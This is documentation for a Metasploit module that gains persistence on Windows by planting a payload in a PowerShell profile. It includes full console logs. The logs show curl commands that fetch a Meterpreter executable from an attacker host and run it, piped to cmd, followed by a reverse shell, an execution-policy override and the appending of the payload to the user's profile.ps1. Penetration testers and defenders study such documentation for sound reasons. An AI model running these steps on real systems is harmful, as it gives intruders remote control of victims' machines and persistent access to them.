madefourit
128 lines
5.2 KiB
Markdown
128 lines
5.2 KiB
Markdown
## Vulnerable Application
|
|
|
|
This module establishes persistence by modifying a PowerShell profile script, which is automatically executed when PowerShell starts. The module supports multiple profile scopes (current user or all users) and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.
|
|
|
|
## Verification Steps
|
|
|
|
1. Start msfconsole
|
|
2. Get a shell on Windows
|
|
3. Do: `use exploit/windows/persistence/powershell_profile`
|
|
4. Do: `set payload [payload]`
|
|
5. Do: `set session #`
|
|
6. Do: `run`
|
|
7. You should get a shell when powershell is opened on the target machine.
|
|
|
|
## Options
|
|
|
|
### PROFILE
|
|
|
|
The powershell profile to target. Choices are `AUTO`, `ALLUSERSALLHOSTS`, `ALLUSERSCURRENTHOST`, `CURRENTUSERALLHOSTS`, `CURRENTUSERCURRENTHOST`.
|
|
Defaults to `AUTO`
|
|
|
|
### CREATE
|
|
|
|
If a profile file doesnt exist, create one. Defaults to `false`
|
|
|
|
### EXECUTIONPOLICY
|
|
|
|
Attempt to update execution policy to execute. Defaults to `true`
|
|
|
|
## Scenarios
|
|
|
|
### Windows 10 1909 (10.0 Build 18363)
|
|
|
|
Initial shell
|
|
|
|
```
|
|
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
|
|
resource (/root/.msf4/msfconsole.rc)> setg verbose true
|
|
verbose => true
|
|
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
|
|
lhost => 1.1.1.1
|
|
resource (/root/.msf4/msfconsole.rc)> setg payload windows/meterpreter/reverse_tcp
|
|
payload => windows/meterpreter/reverse_tcp
|
|
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
|
|
[*] Using configured payload windows/meterpreter/reverse_tcp
|
|
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
|
|
[*] Using configured payload windows/meterpreter/reverse_tcp
|
|
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
|
|
fetch_command => CURL
|
|
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
|
|
fetch_pipe => true
|
|
resource (/root/.msf4/msfconsole.rc)> set lport 4450
|
|
lport => 4450
|
|
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
|
|
FETCH_URIPATH => w3
|
|
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
|
|
FETCH_FILENAME => mkaKJBzbDB
|
|
resource (/root/.msf4/msfconsole.rc)> to_handler
|
|
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/NB_U4Lr2Ty2xrjYqvzRVEg & start /B %TEMP%\mkaKJBzbDB.exe
|
|
|
|
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
|
|
[*] Payload Handler Started as Job 0
|
|
[*] Fetch handler listening on 1.1.1.1:8080
|
|
[*] HTTP server started
|
|
[*] Adding resource /NB_U4Lr2Ty2xrjYqvzRVEg
|
|
[*] Adding resource /w3
|
|
[*] Started reverse TCP handler on 1.1.1.1:4450
|
|
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
|
|
[*] Client 2.2.2.2 requested /w3
|
|
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
|
|
[*] Client 2.2.2.2 requested /NB_U4Lr2Ty2xrjYqvzRVEg
|
|
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
|
|
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:55201) at 2026-02-04 17:06:23 -0500
|
|
|
|
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
|
|
[*] Starting interaction with 1...
|
|
|
|
meterpreter > sysinfo
|
|
Computer : WIN10PROLICENSE
|
|
OS : Windows 10 1909 (10.0 Build 18363).
|
|
Architecture : x64
|
|
System Language : en_US
|
|
Domain : WORKGROUP
|
|
Logged On Users : 2
|
|
Meterpreter : x64/windows
|
|
meterpreter > getuid
|
|
Server username: WIN10PROLICENSE\windows
|
|
meterpreter > background
|
|
[*] Backgrounding session 1...
|
|
```
|
|
|
|
Install Persistence
|
|
|
|
```
|
|
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/powershell_profile
|
|
[*] Using configured payload windows/meterpreter/reverse_tcp
|
|
msf exploit(windows/persistence/powershell_profile) > set create true
|
|
create => true
|
|
msf exploit(windows/persistence/powershell_profile) > set EXECUTIONPOLICY true
|
|
EXECUTIONPOLICY => true
|
|
msf exploit(windows/persistence/powershell_profile) > set session 1
|
|
session => 1
|
|
msf exploit(windows/persistence/powershell_profile) > rexploit
|
|
[*] Reloading module...
|
|
[*] Exploit running as background job 2.
|
|
[*] Exploit completed, but no session was created.
|
|
|
|
[*] Started reverse TCP handler on 1.1.1.1:4444
|
|
msf exploit(windows/persistence/powershell_profile) > [*] Running automatic check ("set AutoCheck false" to disable)
|
|
[+] The target appears to be vulnerable. Powershell execution policy for CurrentUser (Undefined), will attempt to override
|
|
[*] Updating Powershell execution policy for CurrentUser to RemoteSigned
|
|
[*] C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 does not exist, creating it...
|
|
[-] Failed to create profile file at C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
|
|
[*] C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 does not exist, creating it...
|
|
[-] Failed to create profile file at C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
|
|
[*] C:\Users\windows\Documents\WindowsPowerShell\profile.ps1 does not exist, creating it...
|
|
[*] Powershell command length: 4193
|
|
[*] Appending payload to C:\Users\windows\Documents\WindowsPowerShell\profile.ps1
|
|
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260204.1237/WIN10PROLICENSE_20260204.1237.rc
|
|
```
|
|
|
|
Start powershell on the target computer
|
|
|
|
```
|
|
[*] Sending stage (190534 bytes) to 2.2.2.2
|
|
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:55207) at 2026-02-04 17:13:02 -0500
|
|
```
|